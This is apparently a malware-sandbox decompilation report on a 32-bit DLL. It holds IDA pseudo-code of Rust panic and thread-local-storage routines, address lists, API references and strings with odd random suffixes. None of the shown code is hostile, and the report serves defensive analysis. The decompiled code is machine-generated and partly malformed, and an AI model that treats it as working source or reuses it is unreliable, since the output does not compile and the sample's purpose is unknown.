											_t264 =  *0x6edfe110;
											 *0x6edfe110 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6edb3290
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6edfe128 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6EDAC640(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6EDC95A0(_t264, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6edef860, 0x6edeff30);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6EDAC4D0(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6EDAC640(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6edf010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edadca0;
										_v60 =  &_v100;
										_v56 = 0x6edadca0;
										_v52 =  &_v148;
										_v48 = E6EDADCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDAD0F0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t245);
											}
											HeapFree( *0x6edfe128, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6edfe10c);
											_v68 = 0x6edefad0;
											_v64 = 1;
											_v152 = 0x6edfe10c;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDADD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6EDAD0F0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6edfe10c);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6EDAC640(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6EDADA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6edfe11c);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edf029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edef570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6EDAD0F0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6EDAD2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6EDAD290(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6edfd040 = 0;
											_t356 =  *0x6edfd040;
											if( *0x6edfd040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6edf017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edef570;
											_v48 = 0;
											_v20 = 3;
											if(E6EDAD0F0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t235);
											}
											HeapFree( *0x6edfe128, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

0x6edac70c
0x6edac70f
0x6edac716
0x6edac71d
0x6edac722
0x6edac727
0x6edac730
0x6edac733
0x6edac739
0x6edac741
0x6edac746
0x6edac748
0x6edac762
0x6edac767
0x6edac76a
0x6edac76a
0x6edac76e
0x6edac771
0x6edac774
0x6edac776
0x6edac7ea
0x6edac7ed
0x6edac84a
0x6edac851
0x6edac85b
0x6edac862
0x6edac869
0x6edac86d
0x6edac874
0x6edac87b
0x6edac881
0x6edac884
0x6edac887
0x6edac88d
0x6edac894
0x6edac897
0x6edac89e
0x6edac8a3
0x6edac8a5
0x6edac8ac
0x6edac8b4
0x6edac8b7
0x6edac8b9
0x6edac8bc
0x6edac8bc
0x6edac8bf
0x6edac8c2
0x6edac8c6
0x6edac8c8
0x6edac8ca
0x6edac8ce
0x6edac8d0
0x6edac8d0
0x6edac8dc
0x6edac8dc
0x6edac8ea
0x6edac8ea
0x00000000
0x6edac8a5
0x6edac7f2
0x6edac7f5
0x6edac7fc
0x6edac803
0x6edac80a
0x6edac811
0x6edac815
0x6edac81c
0x6edac823
0x6edac828
0x6edac82a
0x00000000
0x6edac830
0x6edac835
0x6edac83d
0x6edac840
0x6edac842
0x00000000
0x6edac842
0x6edac77d
0x6edac77d
0x6edac785
0x6edac78b
0x6edac795
0x6edac79c
0x6edac7a3
0x6edac7a9
0x6edac7ac
0x6edac7af
0x6edac7b2
0x6edac7b5
0x6edac7ba
0x6edac7bd
0x6edac7bf
0x6edac8f3
0x6edac8f3
0x6edac8f6
0x6edac8f8
0x6edac9cb
0x6edac9d0
0x6edac9d3
0x6edac9d6
0x6edacbd7
0x00000000
0x6edacbd7
0x6edac9dc
0x6edac9df
0x6edacbd0
0x00000000
0x6edacbd0
0x6edac9e5
0x6edac9e7
0x00000000
0x00000000
0x6edac9f0
0x6edac9f5
0x6edac9f8
0x6edac9fb
0x6edac9fd
0x00000000
0x00000000
0x6edaca03
0x00000000
0x6edaca03
0x6edac8fe
0x00000000
0x6edac7c5
0x6edac7dd
0x6edac7e2
0x6edacbfe
0x6edacbfe
0x6edacc00
0x6edacc00
0x6edacc05
0x6edac933
0x6edac933
0x6edac936
0x6edac939
0x6edac940
0x6edac942
0x6edac947
0x6edac947
0x6edac94d
0x6edac956
0x6edaca33
0x6edaca33
0x6edaca38
0x6edaca3a
0x6edaca3c
0x6edaca41
0x6edaca41
0x6edaca47
0x6edaca4d
0x6edaca4f
0x6edacc0f
0x6edacc14
0x6edacc16
0x6edacc26
0x6edacc2b
0x6edacc30
0x6edacc32
0x6edacc72
0x6edacc78
0x6edacc7f
0x6edacc81
0x6edacc86
0x6edacc88
0x6edacc8f
0x6edacc92
0x6edacc97
0x6edacc97
0x6edacc9c
0x00000000
0x6edacc9c
0x6edacc34
0x6edacc3e
0x6edacc43
0x6edacc45
0x6edacc45
0x6edacc48
0x6edacc4b
0x6edacc4e
0x6edaccf8
0x6edaccfe
0x6edacd09
0x6edacd09
0x6edacd0e
0x6edacd0e
0x6edacd10
0x6edacd10
0x6edacd12
0x6edacd1d
0x6edacd1d
0x6edacd22
0x6edacd22
0x6edacd2d
0x6edacd35
0x6edacd38
0x6edacd3b
0x6edacd3b
0x6edacd3b
0x6edac901
0x6edac901
0x6edac907
0x6edac90a
0x6edac90a
0x6edac910
0x6edac913
0x6edac915
0x6edac923
0x6edac923
0x6edac925
0x6edaca0d
0x6edaca10
0x6edaca1e
0x6edaca20
0x00000000
0x00000000
0x6edaca26
0x6edaca29
0x6edaca2b
0x00000000
0x6edaca2b
0x6edac92b
0x6edac92e
0x6edac930
0x00000000
0x6edac930
0x6edacd00
0x6edacd02
0x00000000
0x6edacd02
0x6edacc54
0x6edacc57
0x00000000
0x00000000
0x6edacc5d
0x6edacc60
0x00000000
0x00000000
0x6edacc66
0x6edacc68
0x00000000
0x6edacc68
0x6edacc18
0x6edacc1d
0x6edacc1f
0x00000000
0x00000000
0x6edacc21
0x00000000
0x6edaca55
0x6edaca55
0x6edaca57
0x6edaca5a
0x6edacca2
0x6edacca2
0x6edacca5
0x6edacca8
0x6edacca8
0x6edaccab
0x6edaccb1
0x6edaccb8
0x6edaccbf
0x6edaccc5
0x6edaccc7
0x6edacccd
0x6edaccd0
0x6edaccd6
0x6edaccd6
0x6edaccd0
0x6edaccc7
0x00000000
0x6edaccbf
0x6edaca60
0x6edaca67
0x6edaca6e
0x6edaca6e
0x00000000
0x6edaca6e
0x6edac95c
0x6edac95f
0x6edac961
0x00000000
0x00000000
0x6edac967
0x6edac96a
0x6edac96d
0x6edacbf6
0x6edacbfb
0x00000000
0x6edacbfb
0x6edac973
0x6edac979
0x6edac97e
0x6edac980
0x6edac983
0x6edac98a
0x6edac98f
0x6edac992
0x6edac994
0x6edac997
0x6edac999
0x6edac99b
0x6edac99e
0x6edac9a0
0x6edac9a3
0x6edac9a3
0x6edac99e
0x6edac9a8
0x6edac9a8
0x6edac9ab
0x6edac9ae
0x6edac8ef
0x6edac8ef
0x6edac8f1
0x00000000
0x6edac9b4
0x6edac9b4
0x6edac9b8
0x6edac9bb
0x6edac9be
0x6edacce0
0x6edacce6
0x6edacce8
0x6edacceb
0x6edacea2
0x6edacea2
0x6edacea7
0x6edacea8
0x6edacea8
0x6edaca70
0x6edaca77
0x6edaca7e
0x6edaca85
0x6edaca8c
0x6edaca90
0x6edaca97
0x6edaca9e
0x6edacaa5
0x6edacaad
0x6edacab0
0x6edacab6
0x6edacab9
0x6edacabf
0x6edacac5
0x6edacacc
0x6edacad5
0x6edacadc
0x6edacae2
0x6edacae9
0x6edacaec
0x6edacafa
0x6edacb01
0x6edacb09
0x6edacb0c
0x6edacb0e
0x6edacb11
0x6edacb14
0x6edacb1b
0x6edacb1d
0x6edacb23
0x6edacb25
0x6edacb25
0x6edacb31
0x6edacb31
0x6edacb3f
0x6edacb3f
0x6edacb44
0x6edacb55
0x6edacb5a
0x6edacd4b
0x6edacd5a
0x6edacd61
0x6edacd68
0x6edacd72
0x6edacd75
0x6edacd7c
0x6edacd83
0x6edacd89
0x6edacd90
0x6edacd93
0x6edacd9a
0x6edacd9f
0x6edacda8
0x6edacdae
0x6edacdb1
0x00000000
0x00000000
0x6edacdb8
0x6edacdc0
0x6edacdc3
0x6edacdc5
0x00000000
0x6edacb60
0x6edacb63
0x6edace00
0x6edace03
0x6edace05
0x6edace07
0x6edace0a
0x6edace0f
0x6edace0f
0x6edace0a
0x6edace17
0x6edace1d
0x6edace23
0x6edace25
0x6edace27
0x6edace2a
0x6edace2f
0x6edace2f
0x6edace2a
0x6edace39
0x6edace3f
0x6edace43
0x6edace4a
0x6edace52
0x6edace59
0x6edace60
0x6edace67
0x6edace6e
0x6edace72
0x6edace79
0x6edace80
0x6edace88
0x6edace8b
0x6edace8e
0x6edace93
0x6edace95
0x6edace95
0x6edace97
0x6edace9b
0x6edacea0
0x00000000
0x6edacea0
0x6edacb6b
0x6edacb71
0x6edacb73
0x00000000
0x00000000
0x6edacb7c
0x6edacb7f
0x6edacb86
0x6edacb8d
0x6edacb94
0x6edacb9b
0x6edacba2
0x6edacbb0
0x00000000
0x00000000
0x6edacbbb
0x6edacbbe
0x6edacbc6
0x6edacbc8
0x6edacdc8
0x6edacdcb
0x6edacdd2
0x6edacddb
0x6edacddd
0x6edacddf
0x6edacddf
0x6edacdeb
0x6edacdeb
0x6edacdfb
0x00000000
0x6edacdfb
0x6edacb5a
0x6edaccf1
0x00000000
0x6edaccf1
0x6edac9c4
0x00000000
0x6edac9c4
0x6edac9ae
0x6edac956
0x6edac7bf

APIs

Part of subcall function 6EDAD000: TlsGetValue.KERNEL32(00000000,00000001,6EDAC746), ref: 6EDAD00B
Part of subcall function 6EDAD000: TlsGetValue.KERNEL32(00000000), ref: 6EDAD043

AcquireSRWLockShared.KERNEL32(6EDFE11C), ref: 6EDAC785
HeapFree.KERNEL32(00000000,00000000), ref: 6EDAC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EDAC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EDAC94D
TlsGetValue.KERNEL32(00000000), ref: 6EDACA47
HeapFree.KERNEL32(00000000,00000000), ref: 6EDACB31
HeapFree.KERNEL32(00000000,?), ref: 6EDACB3F
GetProcessHeap.KERNEL32 ref: 6EDACC18
HeapAlloc.KERNEL32(00D10000,00000000,00000010), ref: 6EDACC2B
TlsSetValue.KERNEL32(00000000,00000000,00D10000,00000000,00000010), ref: 6EDACC9C
HeapFree.KERNEL32(00000000,00000000,00D10000,00000000,00000010), ref: 6EDACD1D

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDACC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EDAC74D, 6EDAC7C8
full, xrefs: 6EDACCF8
already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd, xrefs: 6EDACBE1

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd$cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa$full
API String ID: 2275035175-262129955
Opcode ID: 585e7dc970c59a0201e119a457bce95c3ceabf7ce81151782ceae4148d1fb992
Instruction ID: 152bc147707d5887612071acdf0ca0a0ff57aca1c41b7461a460550506bc0bd4
Opcode Fuzzy Hash: 585e7dc970c59a0201e119a457bce95c3ceabf7ce81151782ceae4148d1fb992
Instruction Fuzzy Hash: 9A1238B0E00219CFEB10CFE9C85479EBBB5BB49328F204519DA55AF380D775AA46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC6D0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDAC6D0(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = 0x6edb39a0;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6edf01dc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6edfe120], esi");
				_t193 = E6EDAD000(_t268, 0x6edf01dc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6EDC95A0(_t268,  &M6EDEF8F7, 0x46, _t349,  &_v68, 0x6edef870, 0x6edef9bc);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edef570;
						_v120 = 0x6edef824;
						_v68 = 0x6edf0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDA2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6EDAD0F0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6edfe128, 0, _t259);
							}
							_t197 = HeapFree( *0x6edfe128, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6edf0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edef570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6EDAD0F0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6edfe11c);
					_v144 = 0x6edfe11c;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6EDAD000(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6edfe110; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6EDAD380(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6EDC95A0(_t268,  &M6EDEF8F7, 0x46, _t352,  &_v68, 0x6edef870, 0x6edef9bc);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6edfd044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6edfd044;
							_t205 = L6EDB2960(_t268, 0x6edfd044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6edfd044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6edfd044;
								_t206 = L6EDB2960(_t268, 0x6edfd044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6edfe128; // 0xd10000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6edfd044;
										_t340 = _t208;
										_t209 =  *0x6edfd044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = L6EDB2960(_t268, 0x6edfd044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6EDC92F0(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6edfe128, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6edfe110;
											 *0x6edfe110 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6edb3290
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6edfe128 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6EDAC640(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6EDC95A0(_t268, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6edef860, 0x6edeff30);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6EDAC4D0(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6EDAC640(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6edf010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edadca0;
										_v60 =  &_v100;
